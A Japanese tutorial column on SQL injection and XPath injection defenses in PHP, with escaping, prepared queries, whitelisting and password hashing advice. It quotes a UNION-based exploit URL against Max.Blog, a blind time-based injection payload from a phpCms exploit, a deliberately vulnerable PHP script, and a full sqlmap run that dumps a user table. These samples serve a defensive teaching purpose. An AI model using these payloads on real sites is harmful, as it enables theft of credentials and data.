SQLインジェクション対策については既に解説済みですが、あまりに多くのSQLインジェクション脆弱性が放置されているので、もう一度SQLインジェクションについて解説します。
SQLインジェクション脆弱性が放置されている背景には、危険性や対策があまりよく理解されていないことがあるのではないかと考えられます。SQLインジェクション攻撃はかなり自動化しやすく、データベースの構造をまったく知らずに攻撃するブラインドSQLインジェクションを自動化するツールも簡単に作れます。
SQLインジェクション対策
本連載中では既に解説済み(第5回 ~6回 、第14回 ~15回 )ですが、もう一度おさらいです。
SQLインジェクション対策には次のような注意事項があります。
文字エンコーディングの取り扱いを厳格に行う(第19回 ~22回 を参照)
クエリを生成する場合、パラメータはすべて文字列として扱いエスケープする
プリペアードクエリを利用し、変数はすべてパラメータとして渡す
テーブル、フィールド、SQLの語句等をクエリ作成に利用する場合、安全であることを確認する
SQLクエリのパラメータは、数値型であっても文字列と渡しても正しく処理するデータベースシステムがほとんどです。SQLインジェクション脆弱性は文字列型のフィールドではなく、数値型のフィールドに対する処理の脆弱性のほうが頻繁に発見されています。整数型へキャストするなどの方法もありますが、機械的にすべて文字列としてエスケープしてしまったほうが確実です。
プリペアードクエリもSQLインジェクション対策に利用できますが、万能ではありません。すべてのパラメータを文字列としてエスケープまたはプリペアードクエリのパラメータとしてデータベースサーバに渡しても、テーブル名やフィールド名、SQLの予約語などをチェックなしで渡してしまうとSQLインジェクションが可能になります。
例えば、
http://example.com/query.php?q=syz&order=DESC
のような入力で
通常のクエリ実行
$sql = "SELECT * FROM data WHERE type='" . pg_escape_string ( $conn , $_GET [ 'q' ]) . "' ORDER BY " . $_GET [ 'order' ];
pg_query ( $conn , $sql );
や
プリペアードクエリの実行
$sql = 'SELECT * FROM data WHERE type=$1 ORDER BY ' . $_GET [ 'order' ];
pg_prepare ( $conn , 'foo' , $sql );
pg_execute ( $conn , 'foo' , array ( $_GET [ 'q' ]));
としてしまうとSQLインジェクションが可能になります。テーブル名やフィールド名、SQL文の条件となる句を渡す場合、ホワイトリストで確認してからユーザ入力を利用しなければなりません。
入力チェックの例
if (! in_array ( $_GET [ 'order' ], array ( 'DESC' , 'ASC' ))) {
trigger_error ( 'Invalid request' , E_USER_ERROR );
eixt ;
}
普通このようなバリデーション処理は、リクエストを受け付けた直後の入力バリデーション処理で、ほかの入力パラメータのバリデーションと同時に行います。バリデーション処理では、すべてのパラーメータの文字エンコーディング、利用されている文字、形式、範囲がアプリケーションが受け入れ可能な値であるかチェックします。
SQLインジェクション対策はこれだけです。入力バリデーションを確実に行い、パラメータをすべて文字列としてエスケープするかプリペアードクエリのパラメータにすればSQLインジェクションは行えなくなります。
XPathインジェクション
データベースシステムがXMLサポートを追加したことにより、XPATHインジェクションのリスクも増加しています。基本的にはSQLと同じで、ユーザ入力を検証し正しくエスケープ処理を行えば問題は発生しません。XPathインジェクションについても既に解説済み(第16回 ~18回 )です。XPathインジェクションもブラインドSQLインジェクションと同様に自動化できます。
XPathを利用したクエリはプリペアードクエリをサポートするデータベースシステムであっても、アドホックなクエリを書く場合がほとんどです。十分注意しないとXPathインジェクションが可能になります。
XPath関連する問題として、“ FOR XML” をサポートするデータベース(MS SQL Server 2005/2008等)ではSQLインジェクションにより多くのデータを一度に取得できることがありあす。ブラインドSQLインジェクションと同類の手法を利用してデータを取得するツールも存在します。
実際のSQLインジェクション脆弱性
2009年1月にどれくらいのSQLインジェクション脆弱性がmilw0rm.com で公開されたか数えてみました。82のSQLインジェクション脆弱性が報告されています。ほとんどばオープンソース製品の脆弱性ですが、商用製品の脆弱性も報告されています。その2つの典型的なPHPアプリケーションのSQLインジェクション脆弱性報告を紹介します。
Max.Blog 0.6 SQLインジェクション
phpCms 1.x ブラインドSQLインジェクション
milw0rm.comでは脆弱性を攻撃する方法が多数公開されています。攻撃にはSQLの知識さえ必要ありません。
Max.Blog SQLインジェクション
http://www.milw0rm.com/exploits/7885
はMax.Blog のSQLインジェクション脆弱性の攻撃方法を紹介したページです。このページには解説と共に一つのURLが貼り付けてあります。
File affected: show_post.php
This bug allows a guest to view username and password (md5) of a
registered user with the specified id (usually 1 for the admin)
http://www.site.com/path/show_post.php?id=-1'+UNION+ALL+SELECT+1,concat('username: ', username),concat('password: ', password),4,5,6,7+FROM+users+WHERE+id=1%23
攻撃用のURLを見ると、show_post.phpのidパラメータに整数が入っていると仮定しており、SQLインジェクションが可能であることが分かります。
id=-1'+UNION+ALL+SELECT+1,concat('username: ', username),concat('password: ', password),4,5,6,7+FROM+users+WHERE+id=1%23
投稿したアーティクルIDの後に、UNIONクエリでuserテーブルからid=1のユーザ名とMD5でハッシュ化されたパスワードが盗み出せることが分かります。攻撃者はURLのサイト名とMax.Blogがインストールされたパス名を変更するだけで管理者のユーザ名とパスワードハッシュを盗めます。
phpCms 1.x ブラインドSQLインジェクション
http://www.milw0rm.com/exploits/7876
はPHP-CMS のSQLインジェクション脆弱性の報告です。このURLを表示すると、特定のユーザのパスワード情報を抜き取るブラインドSQLインジェクション攻撃を行うPHPスクリプトであることが分かります。同じような名前の別プロジェクトがあるので注意してください。
攻撃用のSQLから文字列のエスケープ処理がないことが分かります。攻撃用コードはブラインドSQLインジェクションを行うコードになっています。
ブラインドSQLインジェクションとはSQL結果の表示が無い場合でも、出力までの時間やページのエラー状況などでデータやデータベースの構造や保存されているデータを解析する攻撃です。この脆弱性報告の場合、保存されているパスワードデータを解析して出力するプログラムになっています。
function query ( $user , $pos , $chr )
{
$query = "x' OR IF((ASCII(SUBSTRING((SELECT password FROM " .
"admin WHERE username='{$user}'),{$pos},1))={$chr}),BENCHMARK" .
"(100000000,CHAR(0)),0) OR '1' = '2" ;
return $query ;
}
このコードがブラインドSQLインジェクションを行う部分です。このコードではBENCHMARKを利用しているのでデータベースがMySQLであることが分かります。1回のリクエストで推測した1文字が当たっているか検出できるようになっています。BENCHMARKにより推測が正しければレスポンスが遅くなることを利用[1] して推測が正しいか検出しています。
この攻撃が成功すると指定したユーザのパスワードが表示されます。このアプリケーションは平文のパスワードを保存しています。パスワードを解析する必要もありません。
SQLインジェクション脆弱性が狙われる理由
CSRF、XSS等の攻撃に脆弱なWebサイトは多数存在します。しかし、もっとも頻繁に攻撃されている脆弱性はSQLインジェクションだといえるでしょう。犯罪者がSQLインジェクション脆弱性を狙うには理由があります。
SQLインジェクション脆弱性はツールによって検出しやすい
SQLインジェクション脆弱性はほかの脆弱性より利用価値が高い
脆弱性の検出
無償で利用可能な脆弱性検出ツールは数えきれないほど存在しています。これらのツールは誤検出(false positive - 問題が無いのに問題有と検出、false nagative - 問題が有るのに問題無しと検出)もありますが、システム管理者にとって有用なツールです。しかし同時に、攻撃者にとっても有用なツールとなっています。
SQLインジェクションツール
SQLインジェクション用のフリーのツールも多数存在します。無償で利用できるSQLインジェクション脆弱性検出ツールの一部を紹介します。
以下はHPとMicrosoftが公開しているツールです。
SQLMapを使ってみる
比較的メンテナンス状態が良いSQLMapを使ってみます。SQLMapはPythonで記述されたプログラムです。Pythonが利用可能なコンピュータであれば利用できます。
SQLMapを利用するために以下の、まったく無防備なコードを用意しました。これをローカルホストのApache/PHPで実行しアクセスできるようにしました。
PHPコード
<? php
$conn = mysql_connect ( 'localhost' , 'root' );
mysql_select_db ( 'test' , $conn );
$sql = "SELECT * FROM user WHERE name = '" . $_GET [ 'name' ] . "' AND pass = '" . $_GET [ 'pass' ] . "'" ;
$result = mysql_query ( $sql , $conn );
if (! $result ) {
die ( mysql_error ());
}
var_dump ( mysql_fetch_assoc ( $result ));
?>
データベースはMySQLを利用し、以下のテーブルを作成しました。
データベース:MySQL 5.0.67
mysql> select * from user;
+----+------+------+
| id | name | pass |
+----+------+------+
| 1 | abc | xyz |
+----+------+------+
1 row in set (0.00 sec)
このPHPスクリプトとデータベースに対してsqlmapコマンド[2] を実行してみます。SQLMapは自動的にブラインドSQLインジェクションを行います。
--dump -T user
オプションはブラインドSQLインジェクションを実行してuserテーブルをダンプするオプションです。--dump-allを利用して、データベース全体をダンプすることも可能ですが、テストに利用したデータベースにはほかのデータベースが含まれており、それもダンプしてしまうのでテーブル名を指定して少しのデータのみダンプするようにしています。
[yohgaki@dev TEST]$ sqlmap --dump -T user -u "http://localhost/TEST/injectable.php?name=abc&pass=xyz"
sqlmap/0.6.4 coded by Bernardo Damele A. G. <[email protected] >
and Daniele Bellucci <[email protected] >
[*] starting at: 15:15:14
[15:15:14] [INFO] testing connection to the target url
[15:15:14] [INFO] testing if the url is stable, wait a few seconds
[15:15:15] [INFO] url is stable
[15:15:15] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[15:15:15] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[15:15:15] [INFO] testing if GET parameter 'name' is dynamic
[15:15:15] [INFO] confirming that GET parameter 'name' is dynamic
[15:15:15] [INFO] GET parameter 'name' is dynamic
[15:15:15] [INFO] testing sql injection on GET parameter 'name' with 0 parenthesis
[15:15:15] [INFO] testing unescaped numeric injection on GET parameter 'name'
[15:15:15] [INFO] GET parameter 'name' is not unescaped numeric injectable
[15:15:15] [INFO] testing single quoted string injection on GET parameter 'name'
[15:15:15] [INFO] confirming single quoted string injection on GET parameter 'name'
[15:15:15] [INFO] GET parameter 'name' is single quoted string injectable with 0 parenthesis
[15:15:15] [INFO] testing if GET parameter 'pass' is dynamic
[15:15:15] [INFO] confirming that GET parameter 'pass' is dynamic
[15:15:15] [INFO] GET parameter 'pass' is dynamic
[15:15:15] [INFO] testing sql injection on GET parameter 'pass' with 0 parenthesis
[15:15:15] [INFO] testing unescaped numeric injection on GET parameter 'pass'
[15:15:15] [INFO] GET parameter 'pass' is not unescaped numeric injectable
[15:15:15] [INFO] testing single quoted string injection on GET parameter 'pass'
[15:15:15] [INFO] confirming single quoted string injection on GET parameter 'pass'
[15:15:15] [INFO] GET parameter 'pass' is single quoted string injectable with 0 parenthesis
[15:15:15] [INPUT] there were multiple injection points, please select the one to use to go ahead:
[0] place: GET, parameter: name, type: stringsingle (default)
[1] place: GET, parameter: pass, type: stringsingle
[q] Quit
Choice: 0
[15:15:17] [INFO] testing for parenthesis on injectable parameter
[15:15:17] [INFO] the injectable parameter requires 0 parenthesis
[15:15:17] [INFO] testing MySQL
[15:15:17] [INFO] confirming MySQL
[15:15:17] [INFO] query: SELECT 3 FROM information_schema.TABLES LIMIT 0, 1
[15:15:17] [INFO] retrieved: 3
[15:15:17] [INFO] performed 13 queries in 0 seconds
[15:15:17] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.2.9, PHP 5.2.8
back-end DBMS: MySQL >= 5.0.0
[15:15:17] [WARNING] missing database parameter, sqlmap is going to use the current database to dump table 'user' entries
[15:15:17] [INFO] fetching current database
[15:15:17] [INFO] query: IFNULL(CAST(DATABASE() AS CHAR(10000)), CHAR(32))
[15:15:17] [INFO] retrieved: test
[15:15:17] [INFO] performed 34 queries in 0 seconds
[15:15:17] [INFO] fetching columns for table 'user' on database 'test'
[15:15:17] [INFO] fetching number of columns for table 'user' on database 'test'
[15:15:17] [INFO] query: SELECT IFNULL(CAST(COUNT(column_name) AS CHAR(10000)), CHAR(32)) FROM information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114) AND table_schema=CHAR(116,101,115,116)
[15:15:17] [INFO] retrieved: 3
[15:15:17] [INFO] performed 13 queries in 0 seconds
[15:15:17] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114) AND table_schema=CHAR(116,101,115,116) LIMIT 0, 1
[15:15:17] [INFO] retrieved: id
[15:15:18] [INFO] performed 20 queries in 0 seconds
[15:15:18] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114) AND table_schema=CHAR(116,101,115,116) LIMIT 1, 1
[15:15:18] [INFO] retrieved: name
[15:15:18] [INFO] performed 34 queries in 0 seconds
[15:15:18] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114) AND table_schema=CHAR(116,101,115,116) LIMIT 2, 1
[15:15:18] [INFO] retrieved: pass
[15:15:18] [INFO] performed 34 queries in 0 seconds
[15:15:18] [INFO] fetching entries for table 'user' on database 'test'
[15:15:18] [INFO] fetching number of entries for table 'user' on database 'test'
[15:15:18] [INFO] query: SELECT IFNULL(CAST(COUNT(*) AS CHAR(10000)), CHAR(32)) FROM test.user
[15:15:18] [INFO] retrieved: 1
[15:15:18] [INFO] performed 13 queries in 0 seconds
[15:15:18] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.user LIMIT 0, 1
[15:15:18] [INFO] retrieved: 1
[15:15:18] [INFO] performed 13 queries in 0 seconds
[15:15:18] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.user LIMIT 0, 1
[15:15:18] [INFO] retrieved: abc
[15:15:18] [INFO] performed 27 queries in 0 seconds
[15:15:18] [INFO] query: SELECT IFNULL(CAST(pass AS CHAR(10000)), CHAR(32)) FROM test.user LIMIT 0, 1
[15:15:18] [INFO] retrieved: xyz
[15:15:18] [INFO] performed 27 queries in 0 seconds
Database: test
Table: user
[1 entry]
+----+------+------+
| id | name | pass |
+----+------+------+
| 1 | abc | xyz |
+----+------+------+
[15:15:18] [INFO] Table 'test.user' dumped to CSV file '/home/yohgaki/.sqlmap/output/localhost/dump/test/user.csv'
[15:15:18] [INFO] Fetched data logged to text files under '/home/yohgaki/.sqlmap/output/localhost'
[*] shutting down at: 15:15:18
次のログからデータベースサーバのフィンガープリンティングを行い、MySQLデータベースであることを自動的に検出していることが分かります。
[15:15:17] [INFO] testing MySQL
[15:15:17] [INFO] confirming MySQL
sqlmapはブラインドSQLインジェクションも自動化していることが、次のようなログから分かります。MySQLであることが判別できているので、MySQLに合わせたブラインドSQLインジェクションが行われています。
[15:15:17] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114) AND table_schema=CHAR(116,101,115,116) LIMIT 0, 1
[15:15:17] [INFO] retrieved: id
[15:15:18] [INFO] performed 20 queries in 0 seconds
このオプションでは接続中のデータベースのuserテーブルの中身だけダンプするようにしています。--dump-allオプションを使用すると、接続中のユーザが参照できるデータベースをダンプします。MySQLのスーパーユーザである“ root” でアクセスしているので、ほかのデータベースを含み、ダンプ可能なデータベースコンテンツすべてを自動的にダンプします。
この例の場合、userテーブル内容がブラインドSQLインジェクションによりダンプされていることがわかります[3] 。
Database: test
Table: user
[1 entry]
+----+------+------+
| id | name | pass |
+----+------+------+
| 1 | abc | xyz |
+----+------+------+
ブラインドSQLインジェクションという言葉を知ってはいても、ここまで簡単に利用できることを知らない方も多くいらしたのではないかと思います。
SQLインジェクションは利用しやすい
先ほどのsqlmapの例でも分かるように、SQLインジェクション脆弱性は非常に利用しやすい脆弱性であることが分かります。データベース構造を解析して、それらしいテーブルにデータを挿入するだけでHTMLインジェクション(JavaScript/IFRAME/Objectなど)も可能になります。
ユーザ情報を保存しているテーブル名は推測しやすいですし、もし推測できなくてもブラインドSQLインジェクションでデータベース構造を解析すれば分かります。
クロスサイトスクリプティングやクロスサイトリクエストフォージェリを実行するには罠となるページが必要ですが、SQLインジェクションでページコンテンツを生成するデータベースのデータを改ざんしてしまえば、犠牲者となるユーザを改ざんページに誘導するだけで攻撃が完了します。
sqlmapはWAF(Web Application Firewall)を回避する機能はありあせんが、可能な限りのWAF回避を試みるツールもあります。WAFはSQLインジェクション攻撃を検出したり、防いだりするために利用できます。しかし、WAFにセキュリティを依存してはいけません。国連のWebサイトが複数回、クラックされた事例があります。最初のクラックでWAFを導入し、セキュリティをWAFに依存し直すべき脆弱性を修正しなかったため、2度目の被害に合いました。
ハッシュ化したパスワードは安全か?
Max.Blog、phpCmsの脆弱性報告やsqlmapの実行例から、SQLインジェクションに脆弱なアプリケーションからパスワード情報を簡単に盗めることが分かったと思います。
多くの書籍や雑誌等でパスワードのハッシュ化が勧められています。しかし、MD5でのハッシュ化パスワードがどの程度安全でしょうか?
特殊な辞書(レインボーテーブル)を利用すると、英小文字と数字だけで1~8文字のパスワードの場合、36GBの辞書でほぼ100%解読できます。
通常の辞書攻撃や総当たり攻撃でも脆弱なパスワードを解析するのはかなり容易です。このような攻撃を行うツールも存在するので脆弱なパスワードはかなり簡単に解析されてしまいます。
例えば、ユーザ名+数字2から4桁のようなパスワードを設定しているユーザはかなり多いです。固有名詞+数字をパスワードとしているユーザも少なくありません。通常、一般に解放しているサイトのユーザであれば、このようなパスワードを持つユーザだけで何割もいます。しかも、これらのユーザはほかのサイトでも同じパスワードを利用している人が少なくありません。
パスワードを直接ハッシュ化しただけであれば、パスワードハッシュを盗まれると非常に多くのユーザのパスワードが簡単に解析される、と考えるべきです。
攻撃者にとってパスワードを盗めてしまうSQLインジェクションは非常に価値の高い脆弱性と言えます。
より安全なパスワードの保存
何らかの固定の秘密文字列と一緒にハッシュ化しておくだけで、辞書攻撃をかなり難しくできます。
パスワードハッシュ化の例
$password_hash = sha1 ( '推測できない秘密の文字列 ' . $_GET [ 'new_password ' ]);
秘密の文字列が分からないとパスワードは解析できません。秘密の文字列も漏洩しても、専用の辞書を構築しなければならないのでハードルが高くなります。
注意 :本来はsha256以上のハッシュ関数を利用すべきですが、PHPはデフォルトでサポートしていないのでsha1を利用しています。md5はsha1より弱いハッシュ関数なので利用してはいけません。
狙われないための対策
脆弱性を作らないのが一番の対策ですが、そんなことは誰でも分かっています。既に運用中のサイトのリスクを少しでも低下させる対策を、簡単に実行できると思われる順番に書きます。
WebサーバやPHPの設定ファイルでバージョン情報などを送信しない
OS、WebサーバやPHPをバージョンアップする
アプリケーションをバージョンアップする
ソースコードをチェックする
簡易WAF を導入する(リソースが許すなら本格的なWAFの導入でもかまいません)
専門業者にソースコード監査を依頼する
1. WebサーバやPHPの設定ファイルでバージョン情報などを送信しない
WebサーバやPHPのバージョン情報はHTTPヘッダに記載されていることがあります。
httpd.conf
ServerSignature Off
php.ini
expose_php=off
に設定するべきです。
2. OS、WebサーバやPHPをバージョンアップする
古いWebサーバやPHPを運用しているサイトは攻撃者に狙われるリスクが増加します。管理が行き届かずセキュリティ意識もサイトが狙われるのは当然です。
しかし、実際にはHTTPヘッダを隠すだけでは不十分です。OS、Webサーバ、PHPを実際にバージョンアップすることが欠かせません。詳しく解説しませんが、OSやWebサーバのバージョンはフィンガープリンティングと呼ばれる手法を用いてかなり正確に推測できてしまうことがあります。PHPのバージョンアップは比較的困難ですが、OS、Webサーバのバージョンアップは容易です。可能な限り最新版にバージョンアップをすることをお勧めします。
3. アプリケーションをバージョンアップする
オープンソースのWebアプリケーションを利用している場合、脆弱性を修正した新しいバージョンにバージョンアップを行わなければなりまねん。アプリケーションによってはかなり頻繁にバージョンアップが行われるので、導入前にバージョンアップの手順やコストを考慮しておかなければなりません。
4. ソースコードをチェックする
SQLインジェクション対策は比較的簡単です。ソースコード監査の専門家でなくてもこの記事に記述されている程度の内容であればチェックできる方も多くいるはずです。ソースコードをチェックすることは非常に重要です。
5. 簡易WAF を導入する(リソースが許すなら本格的なWAFの導入でもかまいません)
異常なリクエストを認めないようにすることも重要です。商用のWAF製品は数百万円のコストを覚悟しなければなりませんが、簡易WAFであれば費用もあまりかかりません。異常なリクエストを検出すれば、特定のIPアドレスからのリクエストをIPレベル拒否する等の、攻撃に対する対策も可能になります。
6. 専門業者にソースコード監査を依頼する
ソースコード監査を最後に挙げていますが、最も重要な対策と言えます。ソースコード監査サービスを提供している会社も少なくありません。スキルのある会社であれば、SQLインジェクション以外の脆弱性も簡単に発見してくれます。
ソースコードレベルの監査も監査ツールで自動的にチェックするだけのものから、専門家によるチェックまで様々です。ニーズに合ったサービスを利用するとよいでしょう。
まとめ
SQLインジェクション脆弱性を確認するために、紹介したツールを利用することも可能です。しかし、チェックに必要な労力に比べテスト結果の信頼性は低いのでお勧めしません。守る側はすべての脆弱性を守らなければなりません。しかし、攻撃する側は1つの攻撃可能な脆弱性を見つけるだけでです。ツールのみに頼ったチェックでは十分な安全性を確保できません。
最初に書いた通り「脆弱性を作らない」のが一番のセキュリティ対策です。そのためには、ソースコードレベルでのチェック(ホワイトボックステスト)が欠かせません。Webアプリケーションを外部からチェックする、ブラックボックステストも無意味ではありませんが、コストの問題もありますが、どちらかを実行するならホワイトボックステストを実行すべきです。SQLインジェクションチェックだけなら、ここに記載されている対策が実行されているか、されていないなら本当に利用しているパラメータが安全か確認するだけでも随分違います。
余力がある場合やルーチンワークとしてのセキュリティチェックには、ブラックボックステストを行うとよいでしょう。ツールを使ったチェックでも思わぬ脆弱性を発見する場合もあります。
もし、オープンソースのアプリケーションに脆弱性を発見したら、開発元にフィードバックしてください。次にバージョンアップする際に楽になるだけでなく、同じアプリケーションを利用している多くのユーザに貢献できます。